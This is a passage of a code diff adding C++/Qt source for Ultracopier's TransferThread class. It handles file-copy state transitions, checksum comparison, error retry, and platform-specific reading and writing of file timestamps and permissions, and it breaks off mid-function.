+ if(needRemove && source.absoluteFilePath()!=destination.absoluteFilePath())
+ {
+ if(source.exists())
+ QFile(destination.absoluteFilePath()).remove();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try destroy the destination when the source don't exists"));
+ }
+ transfer_stat=TransferStat_PostOperation;
+ emit internalStartPostOperation();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("transfer_stat==%1 && remainFileOpen()").arg(transfer_stat));
+}
+
+bool TransferThread::remainFileOpen() const
+{
+ return remainSourceOpen() || remainDestinationOpen();
+}
+
+bool TransferThread::remainSourceOpen() const
+{
+ return (readIsOpenVariable || readIsOpeningVariable) && !readIsClosedVariable;
+}
+
+bool TransferThread::remainDestinationOpen() const
+{
+ return (writeIsOpenVariable || writeIsOpeningVariable) && !writeIsClosedVariable;
+}
+
+void TransferThread::readIsFinish()
+{
+ if(readIsFinishVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ readIsFinishVariable=true;
+ canStartTransfer=false;
+ //check here if need start checksuming or not
+ real_doChecksum=doChecksum && (!checksumOnlyOnError || fileContentError) && (!canBeMovedDirectlyVariable && !canBeCopiedDirectlyVariable);
+ if(real_doChecksum)
+ {
+ readIsFinishVariable=false;
+ transfer_stat=TransferStat_Checksum;
+ sourceChecksum=QByteArray();
+ destinationChecksum=QByteArray();
+ readThread.startCheckSum();
+ }
+ else
+ {
+ transfer_stat=TransferStat_PostTransfer;
+ if(!needSkip || (canBeCopiedDirectlyVariable || canBeMovedDirectlyVariable))//if skip, stop call, then readIsClosed() already call
+ readThread.postOperation();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] in skip, don't start postOperation"));
+ }
+ emit pushStat(transfer_stat,transferId);
+}
+
+void TransferThread::writeIsFinish()
+{
+ if(writeIsFinishVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ writeIsFinishVariable=true;
+ //check here if need start checksuming or not
+ if(real_doChecksum)
+ {
+ writeIsFinishVariable=false;
+ transfer_stat=TransferStat_Checksum;
+ writeThread.startCheckSum();
+ }
+ else
+ {
+ if(!needSkip || (canBeCopiedDirectlyVariable || canBeMovedDirectlyVariable))//if skip, stop call, then writeIsClosed() already call
+ writeThread.postOperation();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] in skip, don't start postOperation"));
+ }
+}
+
+void TransferThread::readChecksumFinish(const QByteArray& checksum)
+{
+ sourceChecksum=checksum;
+ compareChecksum();
+}
+
+void TransferThread::writeChecksumFinish(const QByteArray& checksum)
+{
+ destinationChecksum=checksum;
+ compareChecksum();
+}
+
+void TransferThread::compareChecksum()
+{
+ if(sourceChecksum.size()==0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the checksum of source is missing"));
+ return;
+ }
+ if(destinationChecksum.size()==0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the checksum of destination is missing"));
+ return;
+ }
+ if(sourceChecksum==destinationChecksum)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the checksum match"));
+ readThread.postOperation();
+ writeThread.postOperation();
+ transfer_stat=TransferStat_PostTransfer;
+ emit pushStat(transfer_stat,transferId);
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the checksum not match"));
+ //emit error here, and wait to resume
+ emit errorOnFile(destination,tr("The checksums do not match"));
+ }
+}
+
+void TransferThread::readIsClosed()
+{
+ if(readIsClosedVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ readIsClosedVariable=true;
+ readIsOpeningVariable=false;
+ checkIfAllIsClosedAndDoOperations();
+}
+
+void TransferThread::writeIsClosed()
+{
+ if(writeIsClosedVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ writeIsClosedVariable=true;
+ writeIsOpeningVariable=false;
+ if(stopIt && needRemove && source.absoluteFilePath()!=destination.absoluteFilePath())
+ {
+ if(source.exists())
+ QFile(destination.absoluteFilePath()).remove();
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try destroy the destination when the source don't exists"));
+ }
+ checkIfAllIsClosedAndDoOperations();
+}
+
+// return true if all is closed, and do some operations, don't use into condition to check if is closed!
+bool TransferThread::checkIfAllIsClosedAndDoOperations()
+{
+ if((readError || writeError) && !needSkip && !stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] resolve error before progress"));
+ return false;
+ }
+ if(!remainFileOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] emit internalStartPostOperation() to do the real post operation"));
+ transfer_stat=TransferStat_PostOperation;
+ //emit pushStat(stat,transferId);
+ emit internalStartPostOperation();
+ return true;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("wait self close: readIsReadyVariable: %1, readIsClosedVariable: %2, writeIsReadyVariable: %3, writeIsClosedVariable: %4")
+ .arg(readIsReadyVariable)
+ .arg(readIsClosedVariable)
+ .arg(writeIsReadyVariable)
+ .arg(writeIsClosedVariable)
+ );
+ return false;
+ }
+}
+
+/// \todo found way to retry that's
+/// \todo the rights copy
+void TransferThread::postOperation()
+{
+ if(transfer_stat!=TransferStat_PostOperation)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] need be in transfer, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath()+QStringLiteral(", stat:")+QString::number(transfer_stat));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ //all except closing
+ if((readError || writeError) && !needSkip && !stopIt)//normally useless by checkIfAllIsFinish()
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] resume after error"));
+ return;
+ }
+
+ if(!needSkip && !stopIt)
+ {
+ if(!canBeCopiedDirectlyVariable && !canBeMovedDirectlyVariable)
+ {
+ if(writeIsOpenVariable && !writeIsClosedVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] can't pass in post operation if write is not closed"));
+ emit errorOnFile(destination,tr("Internal error: The destination is not closed"));
+ needSkip=false;
+ if(deletePartiallyTransferredFiles)
+ needRemove=true;
+ writeError=true;
+ return;
+ }
+ if(readThread.getLastGoodPosition()!=writeThread.getLastGoodPosition())
+ {
+ writeThread.flushBuffer();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] readThread.getLastGoodPosition(%1)!=writeThread.getLastGoodPosition(%2)")
+ .arg(readThread.getLastGoodPosition())
+ .arg(writeThread.getLastGoodPosition())
+ );
+ emit errorOnFile(destination,tr("Internal error: The size transfered doesn't match"));
+ needSkip=false;
+ if(deletePartiallyTransferredFiles)
+ needRemove=true;
+ writeError=true;
+ return;
+ }
+ if(!writeThread.bufferIsEmpty())
+ {
+ writeThread.flushBuffer();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] buffer is not empty"));
+ emit errorOnFile(destination,tr("Internal error: The buffer is not empty"));
+ needSkip=false;
+ if(deletePartiallyTransferredFiles)
+ needRemove=true;
+ writeError=true;
+ return;
+ }
+ }
+
+ if(!doFilePostOperation())
+ return;
+
+ //remove source in moving mode
+ if(mode==Ultracopier::Move && !canBeMovedDirectlyVariable)
+ {
+ if(destination.exists() && destination.isFile())
+ {
+ QFile sourceFile(source.absoluteFilePath());
+ if(!sourceFile.remove())
+ {
+ needSkip=false;
+ emit errorOnFile(source,sourceFile.errorString());
+ return;
+ }
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try remove source but destination not exists!"));
+ }
+ }
+ else//do difference skip a file and skip this error case
+ {
+ if(needRemove && destination.exists() && source.exists() && source.absoluteFilePath()!=destination.absoluteFilePath() && destination.isFile())
+ {
+ QFile destinationFile(destination.absoluteFilePath());
+ if(!destinationFile.remove())
+ {
+ //emit errorOnFile(source,destinationFile.errorString());
+ //return;
+ }
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try remove destination but not exists!"));
+ }
+ source.setFile(QStringLiteral(""));
+ destination.setFile(QStringLiteral(""));
+ //don't need remove because have correctly finish (it's not in: have started)
+ needRemove=false;
+ needSkip=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] emit postOperationStopped()"));
+ transfer_stat=TransferStat_Idle;
+ emit postOperationStopped();
+}
+
+bool TransferThread::doFilePostOperation()
+{
+ //do operation needed by copy
+ //set the time if no write thread used
+
+ destination.refresh();
+ if(!destination.exists() && !destination.isSymLink())
+ {
+ if(!stopIt)
+ if(/*true when the destination have been remove but not the symlink:*/!source.isSymLink())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to change the date: File not found"));
+ emit errorOnFile(destination,tr("Unable to change the date")+QStringLiteral(": ")+tr("File not found"));
+ return false;
+ }
+ }
+ else
+ {
+ if(doTheDateTransfer)
+ {
+ if(!writeFileDateTime(destination))
+ {
+ if(!destination.isFile())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to change the date (is not a file)"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to change the date"));
+ /* error with virtual folder under windows */
+ #ifndef Q_OS_WIN32
+ if(keepDate)
+ {
+ emit errorOnFile(destination,tr("Unable to change the date"));
+ return false;
+ }
+ #endif
+ }
+ else
+ {
+ #ifndef Q_OS_WIN32
+ destination.refresh();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read the destination time: ")+destination.lastModified().toString());
+ if(destination.lastModified()<minTime)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read the destination time lower than min time: ")+destination.lastModified().toString());
+ if(keepDate)
+ {
+ emit errorOnFile(destination,tr("Unable to change the date"));
+ return false;
+ }
+ }
+ #endif
+ }
+ }
+ if(doRightTransfer)
+ {
+ QFile sourceFile(source.absoluteFilePath());
+ QFile destinationFile(destination.absoluteFilePath());
+ if(!destinationFile.setPermissions(sourceFile.permissions()))
+ {
+ if(sourceFile.error()!=QFile::NoError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to get the source file permission"));
+ //emit errorOnFile(destination,tr("Unable to get the source file permission"));
+ //return false;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to set the destination file permission"));
+ //emit errorOnFile(destination,tr("Unable to set the destination file permission"));
+ //return false;
+ }
+ }
+ }
+ }
+ if(stopIt)
+ return false;
+
+ return true;
+}
+
+//////////////////////////////////////////////////////////////////
+/////////////////////// Error management /////////////////////////
+//////////////////////////////////////////////////////////////////
+
+void TransferThread::getWriteError()
+{
+ if(writeError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already in write error!"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ fileContentError = true;
+ writeError = true;
+ writeIsReadyVariable = false;
+ writeError_source_seeked = false;
+ writeError_destination_reopened = false;
+ writeIsOpeningVariable=false;
+ if(!readError)//already display error for the read
+ emit errorOnFile(destination,writeThread.errorString());
+}
+
+void TransferThread::getReadError()
+{
+ if(readError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already in read error!"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ fileContentError = true;
+ readError = true;
+ //writeIsReadyVariable = false;//wrong because write can be ready here
+ readIsReadyVariable = false;
+ readIsOpeningVariable=false;
+ if(!writeError)//already display error for the write
+ emit errorOnFile(source,readThread.errorString());
+}
+
+//retry after error
+void TransferThread::retryAfterError()
+{
+ /// \warning skip the resetExtraVariable(); to be more exact and resolv some bug
+ if(transfer_stat==TransferStat_Idle)
+ {
+ if(transferId==0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] seam have bug, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] restart all, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ readError=false;
+ //writeError=false;
+ emit internalStartPreOperation();
+ return;
+ }
+ //opening error
+ if(transfer_stat==TransferStat_PreOperation)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] is not idle, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath()+QStringLiteral(", stat: ")+QString::number(transfer_stat));
+ readError=false;
+ //writeError=false;
+ emit internalStartPreOperation();
+ //tryOpen();-> recheck all, because can be an error into isSame(), rename(), ...
+ return;
+ }
+ //data streaming error
+ if(transfer_stat!=TransferStat_PostOperation && transfer_stat!=TransferStat_Transfer && transfer_stat!=TransferStat_PostTransfer && transfer_stat!=TransferStat_Checksum)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] is not in right stat, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath()+QStringLiteral(", stat: ")+QString::number(transfer_stat));
+ return;
+ }
+ if(transfer_stat==TransferStat_PostOperation)
+ {
+ if(readError || writeError)
+ {
+ readError=false;
+ //writeError=false;
+ resumeTransferAfterWriteError();
+ writeThread.flushBuffer();
+ transfer_stat=TransferStat_PreOperation;
+ emit internalStartPreOperation();
+ return;
+ }
+ emit internalStartPostOperation();
+ return;
+ }
+ if(canBeMovedDirectlyVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] retry the system move"));
+ tryMoveDirectly();
+ return;
+ }
+ if(canBeCopiedDirectlyVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] retry the copy directly"));
+ tryCopyDirectly();
+ return;
+ }
+ if(transfer_stat==TransferStat_Checksum)
+ {
+ if(writeError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start and resume the write error"));
+ writeThread.reopen();
+ }
+ else if(readError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start and resume the read error"));
+ readThread.reopen();
+ }
+ else //only checksum difference
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] retry all the transfer"));
+ canStartTransfer=true;
+ ifCanStartTransfer();
+ }
+ return;
+ }
+ //can have error on source and destination at the same time
+ if(writeError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start and resume the write error: ")+QString::number(readError));
+ if(readError)
+ readThread.reopen();
+ else
+ {
+ readIsClosedVariable=false;
+ readThread.seekToZeroAndWait();
+ }
+ writeThread.reopen();
+ }
+ if(readError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start and resume the read error"));
+ readThread.reopen();
+ }
+ if(!writeError && !readError)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] unknow error resume"));
+}
+
+void TransferThread::writeThreadIsReopened()
+{
+ if(writeError_destination_reopened)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ writeError_destination_reopened=true;
+ if(transfer_stat==TransferStat_Checksum)
+ {
+ writeThread.startCheckSum();
+ return;
+ }
+ if(writeError_source_seeked && writeError_destination_reopened)
+ resumeTransferAfterWriteError();
+}
+
+void TransferThread::readThreadIsSeekToZeroAndWait()
+{
+ if(writeError_source_seeked)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ writeError_source_seeked=true;
+ if(writeError_source_seeked && writeError_destination_reopened)
+ resumeTransferAfterWriteError();
+}
+
+void TransferThread::resumeTransferAfterWriteError()
+{
+ writeError=false;
+/********************************
+ if(canStartTransfer)
+ readThread.startRead();
+useless, because the open destination event
+will restart the transfer as normal
+*********************************/
+/*********************************
+if(!canStartTransfer)
+ stat=WaitForTheTransfer;
+useless because already do at open event
+**********************************/
+ //if is in wait
+ if(!canStartTransfer)
+ emit checkIfItCanBeResumed();
+}
+
+void TransferThread::readThreadResumeAfterError()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ readError=false;
+ writeIsReady();
+ readIsReady();
+}
+
+//////////////////////////////////////////////////////////////////
+///////////////////////// Normal event ///////////////////////////
+//////////////////////////////////////////////////////////////////
+
+void TransferThread::readIsStopped()
+{
+ if(!sended_state_readStopped)
+ {
+ sended_state_readStopped=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] emit readIsStopped()"));
+ emit readStopped();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] drop dual read stopped"));
+ return;
+ }
+ readIsFinish();
+}
+
+void TransferThread::writeIsStopped()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ if(!sended_state_writeStopped)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] emit writeStopped()"));
+ sended_state_writeStopped=true;
+ emit writeStopped();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ writeIsFinish();
+}
+
+#ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+void TransferThread::timeOfTheBlockCopyFinished()
+{
+ readThread.timeOfTheBlockCopyFinished();
+ writeThread.timeOfTheBlockCopyFinished();
+}
+#endif
+
+bool TransferThread::setParallelBuffer(const int &parallelBuffer)
+{
+ if(parallelBuffer<1 || parallelBuffer>ULTRACOPIER_PLUGIN_MAX_PARALLEL_NUMBER_OF_BLOCK)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] wrong parallelBuffer: ")+QString::number(parallelBuffer));
+ return false;
+ }
+ else
+ {
+ this->parallelBuffer=parallelBuffer;
+ return true;
+ }
+}
+
+bool TransferThread::setSequentialBuffer(const int &sequentialBuffer)
+{
+ if(sequentialBuffer<1 || sequentialBuffer>ULTRACOPIER_PLUGIN_MAX_SEQUENTIAL_NUMBER_OF_BLOCK)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] wrong sequentialBuffer: ")+QString::number(sequentialBuffer));
+ return false;
+ }
+ else
+ {
+ this->sequentialBuffer=sequentialBuffer;
+ return true;
+ }
+}
+
+void TransferThread::setTransferAlgorithm(const TransferAlgorithm &transferAlgorithm)
+{
+ this->transferAlgorithm=transferAlgorithm;
+ if(transferAlgorithm==TransferAlgorithm_Sequential)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("]transferAlgorithm==TransferAlgorithm_Sequential"));
+ else if(transferAlgorithm==TransferAlgorithm_Automatic)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("]transferAlgorithm==TransferAlgorithm_Automatic"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("]transferAlgorithm==TransferAlgorithm_Parallel"));
+}
+
+//fonction to edit the file date time
+bool TransferThread::readFileDateTime(const QFileInfo &source)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] readFileDateTime(")+source.absoluteFilePath()+QStringLiteral(")"));
+ if(source.lastModified()<minTime)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the sources is older to copy the time: ")+source.absoluteFilePath()+QStringLiteral(": ")+source.lastModified().toString());
+ return false;
+ }
+ /** Why not do it with Qt? Because it not support setModificationTime(), and get the time with Qt, that's mean use local time where in C is UTC time */
+ #ifdef Q_OS_UNIX
+ #ifdef Q_OS_LINUX
+ struct stat info;
+ if(stat(source.absoluteFilePath().toLatin1().data(),&info)!=0)
+ return false;
+ time_t ctime=info.st_ctim.tv_sec;
+ time_t actime=info.st_atim.tv_sec;
+ time_t modtime=info.st_mtim.tv_sec;
+ //this function avalaible on unix and mingw
+ butime.actime=actime;
+ butime.modtime=modtime;
+ Q_UNUSED(ctime);
+ return true;
+ #else //mainly for mac
+ time_t ctime=source.created().toTime_t();
+ time_t actime=source.lastRead().toTime_t();
+ time_t modtime=source.lastModified().toTime_t();
+ //this function avalaible on unix and mingw
+ utimbuf butime;
+ butime.actime=actime;
+ butime.modtime=modtime;
+ Q_UNUSED(ctime);
+ return true;
+ #endif
+ #else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ struct stat info;
+ if(stat(source.toLatin1().data(),&info)!=0)
+ return false;
+ time_t ctime=info.st_ctim.tv_sec;
+ time_t actime=info.st_atim.tv_sec;
+ time_t modtime=info.st_mtim.tv_sec;
+ //this function avalaible on unix and mingw
+ butime.actime=actime;
+ butime.modtime=modtime;
+ Q_UNUSED(ctime);
+ return true;
+ #else
+ wchar_t filePath[65535];
+ if(source.absoluteFilePath().contains(regRead))
+ filePath[QDir::toNativeSeparators(QStringLiteral("\\\\?\\")+source.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ else
+ filePath[QDir::toNativeSeparators(source.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ HANDLE hFileSouce = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
+ if(hFileSouce == INVALID_HANDLE_VALUE)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] open failed to read: ")+QString::fromWCharArray(filePath)+QStringLiteral(", error: ")+QString::number(GetLastError()));
+ return false;
+ }
+ FILETIME ftCreate, ftAccess, ftWrite;
+ if(!GetFileTime(hFileSouce, &ftCreate, &ftAccess, &ftWrite))
+ {
+ CloseHandle(hFileSouce);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] unable to get the file time"));
+ return false;
+ }
+ this->ftCreateL=ftCreate.dwLowDateTime;
+ this->ftCreateH=ftCreate.dwHighDateTime;
+ this->ftAccessL=ftAccess.dwLowDateTime;
+ this->ftAccessH=ftAccess.dwHighDateTime;
+ this->ftWriteL=ftWrite.dwLowDateTime;
+ this->ftWriteH=ftWrite.dwHighDateTime;
+ CloseHandle(hFileSouce);
+ return true;
+ #endif
+ #else
+ return false;
+ #endif
+ #endif
+ return false;
+}
+
+bool TransferThread::writeFileDateTime(const QFileInfo &destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] writeFileDateTime(")+destination.absoluteFilePath()+QStringLiteral(")"));
+ /** Why not do it with Qt? Because it not support setModificationTime(), and get the time with Qt, that's mean use local time where in C is UTC time */
+ #ifdef Q_OS_UNIX
+ #ifdef Q_OS_LINUX
+ return utime(destination.absoluteFilePath().toLatin1().data(),&butime)==0;
+ #else //mainly for mac
+ return utime(destination.absoluteFilePath().toLatin1().data(),&butime)==0;
+ #endif
+ #else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ return utime(destination.toLatin1().data(),&butime)==0;
+ #else
+ wchar_t filePath[65535];
+ if(destination.absoluteFilePath().contains(regRead))
+ filePath[QDir::toNativeSeparators(QStringLiteral("\\\\?\\")+destination.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ else
+ filePath[QDir::toNativeSeparators(destination.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ HANDLE hFileDestination = CreateFileW(filePath, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+ if(hFileDestination == INVALID_HANDLE_VALUE)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] open failed to write: ")+QString::fromWCharArray(filePath)+QStringLiteral(", error: ")+QString::number(GetLastError()));
+ return false;
+ }
+ FILETIME ftCreate, ftAccess, ftWrite;
+ ftCreate.dwLowDateTime=this->ftCreateL;
+ ftCreate.dwHighDateTime=this->ftCreateH;
+ ftAccess.dwLowDateTime=this->ftAccessL;
+ ftAccess.dwHighDateTime=this->ftAccessH;
+ ftWrite.dwLowDateTime=this->ftWriteL;
